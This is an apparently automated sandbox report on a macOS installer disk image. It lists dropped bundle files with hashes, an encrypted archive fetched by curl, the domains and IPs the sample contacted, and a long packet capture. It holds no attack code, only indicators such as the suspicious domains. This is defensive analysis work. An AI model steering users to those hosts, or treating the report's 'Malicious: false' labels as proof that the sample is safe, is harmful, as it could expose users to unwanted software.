Encrypted:	false
MD5:	23B7D7D024ABB0F558420E098800BF27
SHA1:	9F9EEA0CFE2D65F2C3D6B092E375B40782D08F31
SHA-256:	82502191C9484B04D685374F9879A0066069C49B8ACAE7A04B01D38D07E8ECA0
SHA-512:	F77D501528DD0CED155C80406CFBEE38D5D3649B64D2A9324F3D6CEE39491EB8F54CDEBAE49C6E21A20D2309D8FAE1B01C41631224811E73483DB25A2695738C
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Resources/MainWindow.nib
Process:	/usr/bin/tar
File Type:	Apple binary property list
Size (bytes):	34830
Entropy (8bit):	6.988296448088219
Encrypted:	false
MD5:	C753A39160C647F0D874B9F2B1C98EE7
SHA1:	88E1942E89F45E2CB62D62763E8E6F0AF6F4FA8D
SHA-256:	CD6B56C94B19B21097BEE0A8E915FB99B577D5B02E92BB12D91F347EE913EEC9
SHA-512:	4D8005283CCDE807FBA83508EF8B280694DD85CA5322F74F7FCF633FF4567FFABDC4C214A2B06F66BC4C15A4D553D2907B1E2935569C65CDA5AF006992CF9BD6
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Resources/__TBT_RequestForm.nib
Process:	/usr/bin/tar
File Type:	Apple binary property list
Size (bytes):	8971
Entropy (8bit):	6.650094657391279
Encrypted:	false
MD5:	8D0F163BA675C16DF9F042CBF1EED358
SHA1:	A6010DD8AA75F86984609886F3EE3460770D646C
SHA-256:	7EC29C755BA3CA312A179C4E1292D99E0148CDF64CCBDA1380A3EFA0CD356C30
SHA-512:	810C34222DA1734F7375A5CBF876C5F3E8F812F9749C17F2F2722E58F534C293B9F7709A2F53F740F5F1111F7977210A0771688D524CC2D66EB812758758BE99
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Resources/__TBT_Template_Base.nib
Process:	/usr/bin/tar
File Type:	Apple binary property list
Size (bytes):	27649
Entropy (8bit):	6.949539344227624
Encrypted:	false
MD5:	222E157E4566F7528861E3265A0F8BBF
SHA1:	56A5E2BF48674E604E95711C583A5C6EEDE149AA
SHA-256:	D3EAC3C5FFD8E4B809290BF507DEDC7A382D7F498C0F43451E012C5388AE1DDA
SHA-512:	D8ECC412069E0739897C4ED410F786712D05FC8022A00114CEA03AF0E6EA2E52A6A8944FA2B1C97FC302F3AC13453A00F00CD42577E15257088E2FAAF516171C
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Resources/locked.icns
Process:	/usr/bin/tar
File Type:	data
Size (bytes):	80945
Entropy (8bit):	7.096564719450344
Encrypted:	false
MD5:	4E2310DAE583C0E34C9F426F7469ADC4
SHA1:	EE686EB863A9B49F543EB55CFABC3FB79ACF8592
SHA-256:	D6CD9B1ED4E3AC053A9A913BF7F7927C99BD212F4A4858BDC78343AA2679C1A3
SHA-512:	4328486129AC5485D5459A10D021B2F4E8FA8F7B6E0C6F4BA129212A99226B7D4C33972384342CDB69AC58E93BD644D119EA43F2F51E056FAB007432E9179C2B
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Resources/mm-install-macos.icns
Process:	/usr/bin/tar
File Type:	data
Size (bytes):	116489
Entropy (8bit):	7.410323552131162
Encrypted:	false
MD5:	CAF4DCEF930175F38EA980E083C6FACE
SHA1:	97B56844A7772CD6300047A10514DD77EB39E609
SHA-256:	C8FAF5F30FB1AD1A6B8231DBC181F1D83D1D222BF19949926BA643BCDEF7C96D
SHA-512:	D4918BE9C70AA1B8FABD10F65C5FF3076C69F93FD74FE019BEED8881ADD69AC200BD58863D2218674A246A7C23470AE3AC2B446C2C617F177E8CD319EAAF283E
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/_CodeSignature/CodeResources
Process:	/usr/bin/tar
File Type:	XML document text
Size (bytes):	3786
Entropy (8bit):	5.1534012857539455
Encrypted:	false
MD5:	777E589B099B0D23E1714171F5F2983F
SHA1:	6E36028A2F6A6FDFA6D2168612C0F74774A1A6F2
SHA-256:	D8CD7F9492CB867A649D32D86804F62B6C981A908BE26BE9B3FFCAC77BDE69C8
SHA-512:	B63EC2237CCF1783AE6BD8667726713E7118F6CD0BB461AA7136459574761F51814C79D0C1D96E934FAA62456DCBEE69E93325830F0A806631DE5223C542CF1A
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/stmp.tar.gz
Process:	/usr/bin/curl
File Type:	Wed Apr 4 17:29:41 2018
Size (bytes):	283326
Entropy (8bit):	7.996379371007081
Encrypted:	true
MD5:	382557E89B57719FEB4BB0CF2DDF1A30
SHA1:	4E6F49F35AD18F0FEC424B5E696776352403098A
SHA-256:	19675E5CD4FE175BE0980350C4151B240D9F87C21821068A95BA266CC51DD143
SHA-512:	A765BCF6B07369C822CD33FE0ECBB739C0B49D0C873C74C0543B95700D5301F3B34CA4CAD081920CF946B5D5C00004DF57DAD39DAA7D5E902B215522FA7E4576
Malicious:	false
Reputation:	low

Contacted Domains/Contacted IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
events.ponystudent.win	161.47.20.33	true	false	unknown
service.macinstallerinfo.com	104.239.223.14	true	false	unknown
cdn.macresourcescdn.com	104.27.171.58	true	false	unknown
qylhi.comedyohio.win	195.176.255.152	true	false	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

IP	Country	ASN	ASN Name	Malicious
195.176.255.152	Switzerland	559	SWITCHPeeringrequests_peeringswitchch_CH	false
104.27.171.58	United States	13335	CLOUDFLARENET-CloudFlareIncUS	false
161.47.20.33	United States	19994	RACKSPACE-RackspaceHostingUS	false
104.239.223.14	United States	19994	RACKSPACE-RackspaceHostingUS	false

Static File Info

General
File type:	bzip2 compressed data, block size = 100k
Entropy (8bit):	7.953341421567656
TrID:	Disk Image (Macintosh), bzip2, GPT (12009/2) 72.70% bzip2 compressed archive (3009/2) 18.22% Java Script embedded in Visual Basic Script (1500/0) 9.08%
File name:	kkoVCFZzgV.dmg
File size:	196046
MD5:	653be35703942572c502e75710c56f56
SHA1:	861aea181c88666e9dcb67e029bf5b9c95d07225
SHA256:	03f0d3391c3cbdc3bf2fe4557edd6aaeb178a61b330fa14c6667fb7bea836b5f
SHA512:	d073311ff7e45932dec864b2eea36633746543f8a311cab9707c07a8edf5cb574a7b6643dda0aec0ffb1c2ce9c25c6960123ee14790ec758c7b05a5cb70d2386
File Content Preview:	BZh11AY&SY].L ...R.................1..M.T..i..O...W......rE8P.].L BZh11AY&SY;..B...........#0T.. .... ...0.... ....Ta...M.d..L.z.j....6....OH.X.. -.X2"\|..2...=..NZ.jeC.{X.......!%c....".(H.....BZh11AY&SY...v..e.... .@@@.....'...@.A..@....B. .TW.......H..R

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 11, 2018 09:20:03.363735914 CEST	64790	53	192.168.0.50	8.8.8.8
May 11, 2018 09:20:03.653419018 CEST	53	64790	8.8.8.8	192.168.0.50
May 11, 2018 09:20:03.882503986 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:03.882546902 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:03.882724047 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:03.882910967 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:03.882922888 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.702471972 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.702488899 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.703001976 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.703017950 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.713140965 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.713154078 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.713670015 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.713680983 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.713804960 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.714749098 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.714761972 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.715096951 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.726423025 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.726438046 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.727082014 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.727093935 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.727178097 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.733212948 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.733225107 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.733540058 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.824666977 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.824681044 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.825289011 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.825301886 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.825387001 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.835072041 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.835086107 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.835614920 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.835625887 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.835742950 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.836925030 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.836939096 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.837407112 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.847048998 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.847063065 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.847570896 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.847582102 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.847656965 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.855108976 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.855123043 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.855652094 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.855663061 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.855674028 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.855777025 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.855973005 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.893831968 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.893846989 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.894313097 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.951915026 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.951930046 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.952419996 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.952431917 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.952505112 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.953176975 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.953553915 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.963897943 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.963911057 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.964548111 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.964560986 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.964613914 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.967859983 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.967875004 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.968458891 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.968472958 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.968503952 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.969518900 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.969527960 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.970004082 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.970015049 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.970086098 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.979717970 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.979731083 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.980181932 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.994546890 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.994561911 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.994910955 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.994924068 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.994934082 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:04.994937897 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:04.995150089 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.102116108 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.102133036 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.102612972 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.102628946 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.102693081 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.132793903 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.132808924 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.133166075 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.133177042 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.133183002 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.134927034 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.134936094 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.135440111 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.135452032 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.135503054 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.149477005 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.149502993 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.149856091 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.149866104 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.149872065 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.149909973 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.149919033 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.150177956 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.150186062 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.150191069 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.163420916 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.163434029 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.163949966 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.163960934 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.163970947 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.164061069 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.164247990 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.193865061 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.193878889 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.194379091 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.236135960 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.236150026 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.236299992 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.236649990 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.236661911 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.236673117 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.236684084 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.236768961 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.236885071 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.236895084 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.236983061 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.237071037 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.237119913 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.238290071 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.238316059 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.238790989 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.238802910 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.238812923 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.238862038 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.239036083 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.248680115 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.248699903 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.249036074 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.249118090 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.249126911 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.249406099 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.249414921 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.249473095 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.266858101 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.266870975 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.267301083 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.267313004 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.267358065 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.267366886 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.267379999 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.267417908 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.267623901 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.267635107 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.267644882 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.267709017 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.267785072 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.384180069 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.384196043 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.384665966 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.384677887 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.384751081 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.386482000 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.386497974 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.386976004 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.386986971 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.387065887 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.397516966 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.397838116 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.397993088 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.398001909 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.398354053 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.398361921 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.398370028 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.398382902 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.398407936 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.398607969 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.398616076 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.398689032 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.398775101 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.398782969 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.399115086 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.399120092 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.399121046 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.399132013 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.399183035 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.399373055 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.399379015 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.399389029 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.399420023 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.399604082 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.414679050 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.414688110 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.415186882 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.415198088 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.415251970 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.428530931 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.428544998 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.429136992 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.429152966 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.429162025 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.429253101 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.429404020 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.521817923 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.521831989 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.522149086 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.522161961 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.522166967 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.522198915 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.522207975 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.522506952 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.522515059 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.522520065 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.536855936 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.536869049 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.537184000 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.537194967 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.537200928 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.537254095 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.537262917 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.537581921 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.537590027 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.537595034 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.537672997 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.537681103 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.537776947 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.537934065 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.537941933 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.537950993 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.537954092 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.538089991 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.538177967 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.538186073 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.538430929 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.538439989 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.538448095 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.538450003 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.538579941 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.552428961 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.552443027 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.552767038 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.552778006 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.552783012 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.552967072 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.552974939 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.553251982 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.553314924 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.553323030 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.553654909 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.553662062 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.553667068 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.585593939 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.585891962 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.695590019 CEST	80	49272	195.176.255.152	192.168.0.50
May 11, 2018 09:20:05.695873022 CEST	49272	80	192.168.0.50	195.176.255.152
May 11, 2018 09:20:05.722704887 CEST	80	49272	195.176.255.152	192.168.0.50
